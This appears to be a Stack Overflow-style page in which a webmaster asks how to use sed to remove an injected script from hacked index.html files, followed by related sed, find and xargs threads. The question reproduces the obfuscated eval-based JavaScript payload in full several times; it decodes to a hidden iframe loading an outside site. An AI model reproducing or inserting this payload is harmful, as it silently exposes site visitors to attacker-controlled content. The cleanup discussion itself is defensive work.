Escape characters in shell - linux
First off, I need to give a disclaimer:
DO NOT RUN THIS JAVASCRIPT
It is code that has been injected in to some of my sites by someone unscrupulous. I need to find and replace it (with either a space or nothing). It has specifically targeted index.html and index.htm files with the exact same code in all of them.
The JavaScript is the following (again, don't run it).
<script>i=0;try{avasv=prototype;}catch(z){h="harCode";f=['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');v="e"+"va";}if(v)e=window[v+"l"];try{q=document.createElement("div");q.appendChild(q+"");}catch(qwg){w=f;s=[];} r=String;z=((e)?h:"");for(;587!=i;i+=1){j=i;if(e)s=s+r["fromC"+((e)?z:12)](w[j]*1+42);} if(v&&e&&r&&z&&h&&s&&f&&v)e(s);</script>
I need to find and replace this via a unix-like command line (I don't want to have to go through every file manually).
I have tried the following:
sed -i "s/<script>i=0;try{avasv=prototype;}catch(z){h=\"harCode\";f=['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');v=\"e\"+\"va\";}if(v)e=window[v+\"l\"];try{q=document.createElement(\"div\");q.appendChild(q+\"\");}catch(qwg){w=f;s=[];} r=String;z=((e)?h:\"\");for(;587!=i;i+=1){j=i;if(e)s=s+r[\"fromC\"+((e)?z:12)](w[j]*1+42);} if(v&&e&&r&&z&&h&&s&&f&&v)e(s);</script>/ /g" *.html
Escaping all the double quotes, but this still throws the error:
sed: -e expression #1, char 2075: unknown option to `s'
However, I know that the s option does work, as I have previously used this to find and replace some PHP.
I have also tried the following, but to no effect either (throws the same error):
find . \( -name "*.html" -or -name "*.htm" \) | xargs grep -l "<script>i=0;try{avasv=prototype;}catch(z){h=\"harCode\";f=['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');v=\"e\"+\"va\";}if(v)e=window[v+\"l\"];try{q=document.createElement(\"div\");q.appendChild(q+\"\");}catch(qwg){w=f;s=[];} r=String;z=((e)?h:\"\");for(;587!=i;i+=1){j=i;if(e)s=s+r[\"fromC\"+((e)?z:12)](w[j]*1+42);} if(v&&e&&r&&z&&h&&s&&f&&v)e(s);</script>" | xargs sed -i -e "s/<script>i=0;try{avasv=prototype;}catch(z){h=\"harCode\";f=['-33f-33f63f60f-10f-2f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f-1f81f-29f-33f-33f-33f63f60f72f55f67f59f72f-2f-1f17f-29f-33f-33f83f-10f59f66f73f59f-10f81f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f77f72f63f74f59f-2f-8f18f63f60f72f55f67f59f-10f73f72f57f19f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-10f77f63f58f74f62f19f-3f7f6f-3f-10f62f59f63f61f62f74f19f-3f7f6f-3f-10f73f74f79f66f59f19f-3f76f63f73f63f56f63f66f63f74f79f16f62f63f58f58f59f68f17f70f69f73f63f74f63f69f68f16f55f56f73f69f66f75f74f59f17f66f59f60f74f16f6f17f74f69f70f16f6f17f-3f20f18f5f63f60f72f55f67f59f20f-8f-1f17f-29f-33f-33f83f-29f-33f-33f60f75f68f57f74f63f69f68f-10f63f60f72f55f67f59f72f-2f-1f81f-29f-33f-33f-33f76f55f72f-10f60f-10f19f-10f58f69f57f75f67f59f68f74f4f57f72f59f55f74f59f27f66f59f67f59f68f74f-2f-3f63f60f72f55f67f59f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f73f72f57f-3f2f-3f62f74f74f70f16f5f5f60f58f59f73f64f62f65f64f64f66f4f66f69f77f59f73f74f70f72f63f57f59f73f4f55f74f5f21f61f69f19f8f-3f-1f17f60f4f73f74f79f66f59f4f76f63f73f63f56f63f66f63f74f79f19f-3f62f63f58f58f59f68f-3f17f60f4f73f74f79f66f59f4f70f69f73f63f74f63f69f68f19f-3f55f56f73f69f66f75f74f59f-3f17f60f4f73f74f79f66f59f4f66f59f60f74f19f-3f6f-3f17f60f4f73f74f79f66f59f4f74f69f70f19f-3f6f-3f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f77f63f58f74f62f-3f2f-3f7f6f-3f-1f17f60f4f73f59f74f23f74f74f72f63f56f75f74f59f-2f-3f62f59f63f61f62f74f-3f2f-3f7f6f-3f-1f17f-29f-33f-33f-33f58f69f57f75f67f59f68f74f4f61f59f74f27f66f59f67f59f68f74f73f24f79f42f55f61f36f55f67f59f-2f-3f56f69f58f79f-3f-1f49f6f51f4f55f70f70f59f68f58f25f62f63f66f58f-2f60f-1f17f-29f-33f-33f83'][0].split('f');v=\"e\"+\"va\";}if(v)e=window[v+\"l\"];try{q=document.createElement(\"div\");q.appendChild(q+\"\");}catch(qwg){w=f;s=[];} r=String;z=((e)?h:\"\");for(;587!=i;i+=1){j=i;if(e)s=s+r[\"fromC\"+((e)?z:12)](w[j]*1+42);} if(v&&e&&r&&z&&h&&s&&f&&v)e(s);</script>/ /g"
What is causing this error, and how can I fix it?
I am at a loss as to what is causing that error, so any help is greatly appreciated.
The problem is that you're not escaping the special characters in the text, such as the / delimiter.
The easiest solution is to pick a different delimiter and to specify only a part of the string, for instance
find . -name '*.html' -o -name '*.htm' |
xargs fgrep -l '<script>i=0;try' |
xargs perl -i.infected -pe 's#<script>i=0;try.*?</script>##g'
(untested) may do the job.
(The .*? construct picks the shortest match; I don't know how to do that in sed.)
Verify with something like
find . -name '*.infected' | sed -e 's#.*#diff & &#' -e 's#.infected##' | sh -x
The sed error came from the fact that the syntax for search and replace is:
s/text/replace/options
But in your text a / appears, so the get the parts test, replace and options wrong.
There is an easy solution. sed does not need to use the / as the delimiter between the argumens. You can use any char you want. Just pick one not appearing in your text, e.g # or % (the first delimiter (the one after the intial s) is the delimiter he expects in the rest of the command)..
Related
Sed appears to be deleting the full line
Hi guys I'm trying to use sed to delete part of a string (its a directory). I'm using it like so sed -i 's/$1//g' ~/Desktop/RecyclingBin/logs/$1 whenever I open the text file it appears to be blank. Any help would be appreciated.. Also if there's an easier way to output a files location to a text file without the actual filename being in the output that would make life a lot easier currently using: find $PWD -type d -name "*$1*" >> ~/Desktop/RecyclingBin/logs/$1 thank you in advance!
You can do this in find itself:
find . -type d -name "*$1*" -exec bash -c 'echo "${1##*/}"' - {} \;
Try to use my example sed -i "s/$1//g" ~/Desktop/RecyclingBin/logs/$1 It works for me.
Always remember, if you want to use a variable in sed expression , you should use "" like the example posted above Otherwise for normal substitution use single quotes..
If you want to use a variable in sed expression , you should use "" like the example posted above. This is the feature of sed Otherwise for normal substitution use single quotes..
Use sed to replace text containing quotes and single quotes
I am trying to search for all files on my server called index.php and then use xargs to run sed to replace some text in those files. The line I want to find is: echo '<form method="get" class="search_form" action="'.$siteUrl.'">'; And after the replacement, it should look like this: echo '<form method="get" class="search_form" action="/">'; Therefore, I really only need to change '.$siteUrl.' to a single / However, when I try to run this command from an SSH prompt (which I think is right): find . -name "index.php" -print | xargs sed -i 's/\'\.\$siteUrl\.\'/"/"/g' it just drops me to a prompt of > and does not go any further... I have also tried using the same sed command on a single file, which does the same. Can someone point me out where I have gone wrong?
You are replacing text with / which is also used as the substitution delimiter. Escape it like this: \/ No need to put double quotes around the replacement since they are already present in the html string. Use double quotes around the entire sed expression, to avoid conflict with ' -print is the default action for find and can be skipped. Try this: find . -name "index.php" | xargs sed -i "s/'\.\$siteUrl\.'/\//g" Or use a different delimiter for sed, like : and remove the escape before /: find . -name "index.php" | xargs sed -i "s:'\.\$siteUrl\.':/:g" Oh, and always a good idea to save a backup of edited files (-i.bak): find . -name "index.php" | xargs sed -i.bak "s:'\.\$siteUrl\.':/:g"
How to remove multiple lines in multiple files on Linux using bash
I am trying to remove 2 lines from all my Javascript files on my Linux shared hosting. I wanted to do this without writing a script as I know this should be possible with sed. My current attempt looks like this: find . -name "*.js" | xargs sed -i ";var O0l='=sTKpUG" The second line is actually longer than this but is malicious code so I have not included it here. As you guessed my server has been hacked so I need to clean up all these JavaScript files. I forgot to mention that the output I am getting at the moment is: sed: -e expression #1, char 4: expected newer version of sed The 2 lines are just as follows consecutively: ;var O0l='=sTKpUG except that the second line is longer, but the rest of the second line should not influence the command.
He meant removing two adjacent lines. you can do something like this, remember to backup your files. find . -name "*.js" | xargs sed -i -e "/^;var/N;/^;var\nO0l='=sTKpUG/d" Since sed processes input file line by line, it does not store the newline '\n' character in its buffer, so we need to tell it by using flag /N to append the next line, with newline character. /^;var/N; Then we do our pattern searching and deleting. /^;var\nO0l='=sTKpUG/d
It really isn't clear yet what the two lines look like, and it isn't clear if they are adjacent to each other in the JavaScript, so we'll assume not. However, the answer is likely to be: find . -name "*.js" | xargs sed -i -e '/^distinctive-pattern1$/d' -e '/^alternative-pattern-2a$/d' There are other ways of writing the sed script using a single command string; I prefer to use separate arguments for separate operations (it makes the script clearer). Clearly, if you need to keep some of the information on one of the lines, you can use a search pattern adjusted as appropriate, and then do a substitute s/short-pattern// instead of d to remove the short section that must be removed. Similarly with the long line if that's relevant.
Remove line feed(s) from start of specific files
I need to remove any occurrences of line feeds (carriage returns on a mac) from the very start of all files with the .php or .html extension. There are no other characters between the line feeds like spaces or anything. So for example (using /lf as an example of line feed): /lf /lf <!doctype html> or /lf <!doctype html> should be reduced down to: <!doctype html> One way of removing line feeds I've found is: tr -d '\012' But I have no idea how to target this at specific files, let alone only the first few lines. So I've got the following: find . \( -name "*.php" -or -name "*.html" \) | xargs grep -l "\012" | xargs sed -i -e "s/\012//g" But this won't target only the first few lines, and I'm not entirely sure if it correctly targets line feeds either. So, anyone got any bright ideas?
Try:
sed -i '/./,$\!d' filename
or even from find:
find . \( -name "*.php" -or -name "*.html" \) -exec sed -i '/./,$\!d' {} \;
EDIT:
The \ before the !d may not be needed, in my shell I need to escape it because csh keeps thinking I'm referring to a previous event via the ! symbol.
EDIT 2:
So the /./,$\!d, bit, it looks like gibberish but this is what's happening.
There are 2 addresses being defined here, the first is the regex . which is anything that isn't a blank line. Thus the first address is the first non-blank line matched by /./.
Then we have the second address, separated by the ,, and it's simply $, the end of the file. So the region we've defined by our 2 addresses is the first non-blank line all the way to the end of the file.
We're going to use sed's delete function here, which is denoted by the last d in the script. However, by using d, we'd be deleting everything starting from the first non-blank line to the end of the file.
Lastly, because we'd be deleting the very thing that we want, we use a ! right in front of the d command to tell sed, "ok, do exactly the opposite of what I'm telling you to do instead". Thus, instead of deleting everything starting from the first non-blank line to the end of the file, we're doing the complete opposite, preserving the first non-blank line to the end of the file, which has the effect of deleting all of the blank lines at the beginning of the file.
There's probably some way to do this using the p (print) command, which is sort of like the opposite of delete, but doesn't really behave that way. I'm sure there's some way to do this using p or !p.
Perl is good for this type of processing if you have that installed. You could do a little "do .. until" loop that exits once it finds a line with non-whitespace characters. Off the top of my head:
do {
s/^\s$//;
} until ( /^\S/ );
(But verify those regular expressions do what you want them to first!)
Use:
find /path/to/root/directory -type f -exec tr -d '\012' {} \;
where /path/to/root/directory is the top-level path where looked for all files to remove all occurrences.
If you know that the Linefeeds are only in the first, say, 10 lines, then you can change the SED command so that it only operates on the first ten lines. That's the 1,10 below. xargs sed -i -e "1,10s/\012//g"
How can I use xargs to copy files that have spaces and quotes in their names?
I'm trying to copy a bunch of files below a directory and a number of the files have spaces and single-quotes in their names. When I try to string together find and grep with xargs, I get the following error:
find .|grep "FooBar"|xargs -I{} cp "{}" ~/foo/bar
xargs: unterminated quote
Any suggestions for a more robust usage of xargs?
This is on Mac OS X 10.5.3 (Leopard) with BSD xargs.
You can combine all of that into a single find command:
find . -iname "*foobar*" -exec cp -- "{}" ~/foo/bar \;
This will handle filenames and directories with spaces in them. You can use -name to get case-sensitive results.
Note: The -- flag passed to cp prevents it from processing files starting with - as options.
find . -print0 | grep --null 'FooBar' | xargs -0 ... I don't know about whether grep supports --null, nor whether xargs supports -0, on Leopard, but on GNU it's all good.
The easiest way to do what the original poster wants is to change the delimiter from any whitespace to just the end-of-line character like this: find whatever ... | xargs -d "\n" cp -t /var/tmp
This is more efficient as it does not run "cp" multiple times: find -name '*FooBar*' -print0 | xargs -0 cp -t ~/foo/bar
I ran into the same problem. Here's how I solved it: find . -name '*FoooBar*' | sed 's/.*/"&"/' | xargs cp ~/foo/bar I used sed to substitute each line of input with the same line, but surrounded by double quotes. From the sed man page, "...An ampersand (``&'') appearing in the replacement is replaced by the string matching the RE..." -- in this case, .*, the entire line. This solves the xargs: unterminated quote error.
This method works on Mac OS X v10.7.5 (Lion):
find . | grep FooBar | xargs -I{} cp {} ~/foo/bar
I also tested the exact syntax you posted. That also worked fine on 10.7.5.
Just don't use xargs. It is a neat program but it doesn't go well with find when faced with non trivial cases.
Here is a portable (POSIX) solution, i.e. one that doesn't require find, xargs or cp GNU specific extensions:
find . -name "*FooBar*" -exec sh -c 'cp -- "$#" ~/foo/bar' sh {} +
Note the ending + instead of the more usual ;.
This solution:
correctly handles files and directories with embedded spaces, newlines or whatever exotic characters.
works on any Unix and Linux system, even those not providing the GNU toolkit.
doesn't use xargs which is a nice and useful program, but requires too much tweaking and non standard features to properly handle find output.
is also more efficient (read faster) than the accepted and most if not all of the other answers.
Note also that despite what is stated in some other replies or comments quoting {} is useless (unless you are using the exotic fishshell).
Look into using the --null commandline option for xargs with the -print0 option in find.
For those who relies on commands, other than find, eg ls:
find . | grep "FooBar" | tr \\n \\0 | xargs -0 -I{} cp "{}" ~/foo/bar
find | perl -lne 'print quotemeta' | xargs ls -d I believe that this will work reliably for any character except line-feed (and I suspect that if you've got line-feeds in your filenames, then you've got worse problems than this). It doesn't require GNU findutils, just Perl, so it should work pretty-much anywhere.
I have found that the following syntax works well for me.
find /usr/pcapps/ -mount -type f -size +1000000c | perl -lpe ' s{ }{\\ }g ' | xargs ls -l | sort +4nr | head -200
In this example, I am looking for the largest 200 files over 1,000,000 bytes in the filesystem mounted at "/usr/pcapps".
The Perl line-liner between "find" and "xargs" escapes/quotes each blank so "xargs" passes any filename with embedded blanks to "ls" as a single argument.
Frame challenge — you're asking how to use xargs. The answer is: you don't use xargs, because you don't need it.
The comment by user80168 describes a way to do this directly with cp, without calling cp for every file:
find . -name '*FooBar*' -exec cp -t /tmp -- {} +
This works because:
the cp -t flag allows to give the target directory near the beginning of cp, rather than near the end. From man cp:
-t, --target-directory=DIRECTORY
copy all SOURCE arguments into DIRECTORY
The -- flag tells cp to interpret everything after as a filename, not a flag, so files starting with - or -- do not confuse cp; you still need this because the -/-- characters are interpreted by cp, whereas any other special characters are interpreted by the shell.
The find -exec command {} + variant essentially does the same as xargs. From man find:
-exec command {} +
This variant of the -exec action runs the specified command on
the selected files, but the command line is built by appending
each selected file name at the end; the total number of invoca‐
matched files. The command line is built in much the same way
that xargs builds its command lines. Only one instance of `{}'
is allowed within the command, and (when find is being invoked
from a shell) it should be quoted (for example, '{}') to protect
it from interpretation by shells. The command is executed in
the starting directory. If any invocation returns a non-zero
value as exit status, then find returns a non-zero exit status.
If find encounters an error, this can sometimes cause an immedi‐
ate exit, so some pending commands may not be run at all. This
variant of -exec always returns true.
By using this in find directly, this avoids the need of a pipe or a shell invocation, such that you don't need to worry about any nasty characters in filenames.
With Bash (not POSIX) you can use process substitution to get the current line inside a variable. This enables you to use quotes to escape special characters: while read line ; do cp "$line" ~/bar ; done < <(find . | grep foo)
Be aware that most of the options discussed in other answers are not standard on platforms that do not use the GNU utilities (Solaris, AIX, HP-UX, for instance). See the POSIX specification for 'standard' xargs behaviour. I also find the behaviour of xargs whereby it runs the command at least once, even with no input, to be a nuisance. I wrote my own private version of xargs (xargl) to deal with the problems of spaces in names (only newlines separate - though the 'find ... -print0' and 'xargs -0' combination is pretty neat given that file names cannot contain ASCII NUL '\0' characters. My xargl isn't as complete as it would need to be to be worth publishing - especially since GNU has facilities that are at least as good.
For me, I was trying to do something a little different. I wanted to copy my .txt files into my tmp folder. The .txt filenames contain spaces and apostrophe characters. This worked on my Mac.
$ find . -type f -name '*.txt' | sed 's/'"'"'/\'"'"'/g' | sed 's/.*/"&"/' | xargs -I{} cp -v {} ./tmp/
If find and xarg versions on your system doesn't support -print0 and -0 switches (for example AIX find and xargs) you can use this terribly looking code: find . -name "*foo*" | sed -e "s/'/\\\'/g" -e 's/"/\\"/g' -e 's/ /\\ /g' | xargs cp /your/dest Here sed will take care of escaping the spaces and quotes for xargs. Tested on AIX 5.3
I created a small portable wrapper script called "xargsL" around "xargs" which addresses most of the problems.
Contrary to xargs, xargsL accepts one pathname per line. The pathnames may contain any character except (obviously) newline or NUL bytes.
No quoting is allowed or supported in the file list - your file names may contain all sorts of whitespace, backslashes, backticks, shell wildcard characters and the like - xargsL will process them as literal characters, no harm done.
As an added bonus feature, xargsL will not run the command once if there is no input!
Note the difference:
$ true | xargs echo no data
no data
$ true | xargsL echo no data # No output
Any arguments given to xargsL will be passed through to xargs.
Here is the "xargsL" POSIX shell script:
#! /bin/sh
# Line-based version of "xargs" (one pathname per line which may contain any
# amount of whitespace except for newlines) with the added bonus feature that
# it will not execute the command if the input file is empty.
#
# Version 2018.76.3
#
# Copyright (c) 2018 Guenther Brunthaler. All rights reserved.
#
# This script is free software.
# Distribution is permitted under the terms of the GPLv3.
set -e
trap 'test $? = 0 || echo "$0 failed!" >& 2' 0
if IFS= read -r first
then
{
printf '%s\n' "$first"
cat
} | sed 's/./\\&/g' | xargs ${1+"$#"}
fi
Put the script into some directory in your $PATH and don't forget to
$ chmod +x xargsL
the script there to make it executable.
bill_starr's Perl version won't work well for embedded newlines (only copes with spaces). For those on e.g. Solaris where you don't have the GNU tools, a more complete version might be (using sed)... find -type f | sed 's/./\\&/g' | xargs grep string_to_find adjust the find and grep arguments or other commands as you require, but the sed will fix your embedded newlines/spaces/tabs.
I used Bill Star's answer slightly modified on Solaris:
find . -mtime +2 | perl -pe 's{^}{\"};s{$}{\"}' > ~/output.file
This will put quotes around each line. I didn't use the '-l' option although it probably would help.
The file list I was going though might have '-', but not newlines. I haven't used the output file with any other commands as I want to review what was found before I just start massively deleting them via xargs.
I played with this a little, started contemplating modifying xargs, and realised that for the kind of use case we're talking about here, a simple reimplementation in Python is a better idea. For one thing, having ~80 lines of code for the whole thing means it is easy to figure out what is going on, and if different behaviour is required, you can just hack it into a new script in less time than it takes to get a reply on somewhere like Stack Overflow. See https://github.com/johnallsup/jda-misc-scripts/blob/master/yargs and https://github.com/johnallsup/jda-misc-scripts/blob/master/zargs.py. With yargs as written (and Python 3 installed) you can type: find .|grep "FooBar"|yargs -l 203 cp --after ~/foo/bar to do the copying 203 files at a time. (Here 203 is just a placeholder, of course, and using a strange number like 203 makes it clear that this number has no other significance.) If you really want something faster and without the need for Python, take zargs and yargs as prototypes and rewrite in C++ or C.
You might need to grep Foobar directory like:
find . -name "file.ext"| grep "FooBar" | xargs -i cp -p "{}" .
If you are using Bash, you can convert stdout to an array of lines by mapfile:
find . | grep "FooBar" | (mapfile -t; cp "${MAPFILE[#]}" ~/foobar)
The benefits are:
It's built-in, so it's faster.
Execute the command with all file names in one time, so it's faster.
You can append other arguments to the file names. For cp, you can also:
find . -name '*FooBar*' -exec cp -t ~/foobar -- {} +
however, some commands don't have such feature.
The disadvantages:
Maybe not scale well if there are too many file names. (The limit? I don't know, but I had tested with 10 MB list file which includes 10000+ file names with no problem, under Debian)
Well... who knows if Bash is available on OS X?